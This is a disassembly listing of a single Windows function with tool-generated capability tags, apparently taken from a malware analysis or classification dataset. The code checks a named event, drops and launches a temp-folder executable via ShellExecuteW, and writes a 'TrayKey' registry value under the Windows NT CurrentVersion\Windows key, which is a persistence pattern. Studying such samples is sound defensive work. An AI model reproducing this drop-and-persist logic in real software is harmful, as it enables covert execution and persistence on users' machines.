Function at 0x401690
Capabilities:
Create process on windows
Get common file path
Query or enumerate registry value
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x360
mov eax, dword [0x41804c]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
push edi
xor eax, eax
mov word [ebp - 0x238], ax
push 0x206
push 0
lea ecx, [ebp - 0x236]
push ecx
call fcn.00409230
add esp, 0xc
mov dword [ebp - 0x240], 0
mov dword [ebp - 0x23c], 0
mov dword [ebp - 0x244], 0x104
xor edx, edx
mov word [ebp - 0x2c], dx
xor eax, eax
mov dword [ebp - 0x2a], eax
mov dword [ebp - 0x26], eax
mov dword [ebp - 0x22], eax
mov dword [ebp - 0x1e], eax
mov dword [ebp - 0x1a], eax
mov dword [ebp - 0x16], eax
mov dword [ebp - 0x12], eax
mov dword [ebp - 0xe], eax
mov dword [ebp - 0xa], eax
mov word [ebp - 6], ax
mov dword [ebp - 0x314], 0x41a948
mov ecx, dword [ebp - 0x314]
add ecx, 2
mov dword [ebp - 0x318], ecx
mov edx, dword [ebp - 0x314]
mov ax, word [edx]
mov word [ebp - 0x31a], ax
add dword [ebp - 0x314], 2
cmp word [ebp - 0x31a], 0
jne 0x401722
mov ecx, dword [ebp - 0x314]
sub ecx, dword [ebp - 0x318]
sar ecx, 1
mov dword [ebp - 0x320], ecx
je 0x401781
push 0x41a948
push 0
push 0x20000
call dword [sym.imp.KERNEL32.dll_OpenEventW]
mov dword [ebp - 0x240], eax
cmp dword [ebp - 0x240], 0
je 0x401781
xor eax, eax
jmp 0x401a72
lea edx, [ebp - 0x30]
push edx
push 0xf003f
push 0
push 0x416028
push closesocket
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x401802
lea eax, [ebp - 0x244]
push eax
lea ecx, [ebp - 0x2c]
push ecx
lea edx, [ebp - 0x23c]
push edx
push 0
push 0x416094
mov eax, dword [ebp - 0x30]
push eax
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
jne 0x4017f8
lea ecx, [ebp - 0x2c]
push ecx
push 0
push 0x20000
call dword [sym.imp.KERNEL32.dll_OpenEventW]
mov dword [ebp - 0x240], eax
cmp dword [ebp - 0x240], 0
je 0x4017f8
mov edx, dword [ebp - 0x30]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
xor eax, eax
jmp 0x401a72
mov eax, dword [ebp - 0x30]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea ecx, [ebp - 0x238]
push ecx
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
mov dword [ebp - 0x324], 0x41a948
mov edx, dword [ebp - 0x324]
add edx, 2
mov dword [ebp - 0x328], edx
mov eax, dword [ebp - 0x324]
mov cx, word [eax]
mov word [ebp - 0x32a], cx
add dword [ebp - 0x324], 2
cmp word [ebp - 0x32a], 0
jne 0x40182d
mov edx, dword [ebp - 0x324]
sub edx, dword [ebp - 0x328]
sar edx, 1
mov dword [ebp - 0x330], edx
jne 0x4018e8
push 0x4160a4
push 0x4160b0
push 0x41abc0
call fcn.004023c0
add esp, 0xc
mov dword [ebp - 0x334], str.Hose
lea eax, [ebp - 0x2c]
mov dword [ebp - 0x338], eax
mov ecx, dword [ebp - 0x338]
mov dword [ebp - 0x33c], ecx
mov edx, dword [ebp - 0x334]
mov ax, word [edx]
mov word [ebp - 0x33e], ax
mov ecx, dword [ebp - 0x338]
mov dx, word [ebp - 0x33e]
mov word [ecx], dx
mov eax, dword [ebp - 0x334]
add eax, 2
mov dword [ebp - 0x334], eax
mov ecx, dword [ebp - 0x338]
add ecx, 2
mov dword [ebp - 0x338], ecx
cmp word [ebp - 0x33e], 0
jne 0x40189e
jmp 0x401966
push 0x41a948
push str._s.exe
push 0x41abc0
call fcn.004023c0
add esp, 0xc
mov dword [ebp - 0x344], 0x41a948
lea edx, [ebp - 0x2c]
mov dword [ebp - 0x348], edx
mov eax, dword [ebp - 0x348]
mov dword [ebp - 0x34c], eax
mov ecx, dword [ebp - 0x344]
mov dx, word [ecx]
mov word [ebp - 0x34e], dx
mov eax, dword [ebp - 0x348]
mov cx, word [ebp - 0x34e]
mov word [eax], cx
mov edx, dword [ebp - 0x344]
add edx, 2
mov dword [ebp - 0x344], edx
mov eax, dword [ebp - 0x348]
add eax, 2
mov dword [ebp - 0x348], eax
cmp word [ebp - 0x34e], 0
jne 0x40191e
push 0x41abc0
push 0x104
lea ecx, [ebp - 0x238]
push ecx
call fcn.00405715
add esp, 0xc
call fcn.00401db0
test eax, eax
jne 0x401a70
push 0x64
call dword [sym.imp.KERNEL32.dll_Sleep]
push 1
push 0
push 0x4160dc
lea edx, [ebp - 0x238]
push edx
push 0
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
mov ecx, 0x1a
mov esi, str.SoftwareMicrosoftWindows_NTCurrentVersionWindows
lea edi, [ebp - 0x310]
rep movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
push 0x5e
push 0
lea eax, [ebp - 0x2a6]
push eax
call fcn.00409230
add esp, 0xc
lea ecx, [ebp - 0x30]
push ecx
push 3
push 0
lea edx, [ebp - 0x310]
push edx
push closesocket
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x401a70
lea eax, [ebp - 0x2c]
mov dword [ebp - 0x354], eax
mov ecx, dword [ebp - 0x354]
add ecx, 2
mov dword [ebp - 0x358], ecx
mov edx, dword [ebp - 0x354]
mov ax, word [edx]
mov word [ebp - 0x35a], ax
add dword [ebp - 0x354], 2
cmp word [ebp - 0x35a], 0
jne 0x401a0b
mov ecx, dword [ebp - 0x354]
sub ecx, dword [ebp - 0x358]
sar ecx, 1
mov dword [ebp - 0x360], ecx
mov edx, dword [ebp - 0x360]
lea eax, [edx + edx + 2]
push eax
lea ecx, [ebp - 0x2c]
push ecx
push 1
push 0
push str.TrayKey
mov edx, dword [ebp - 0x30]
push edx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
test eax, eax
jne 0x401a70
mov eax, dword [ebp - 0x30]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
xor eax, eax
pop edi
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00405706
mov esp, ebp
pop ebp
ret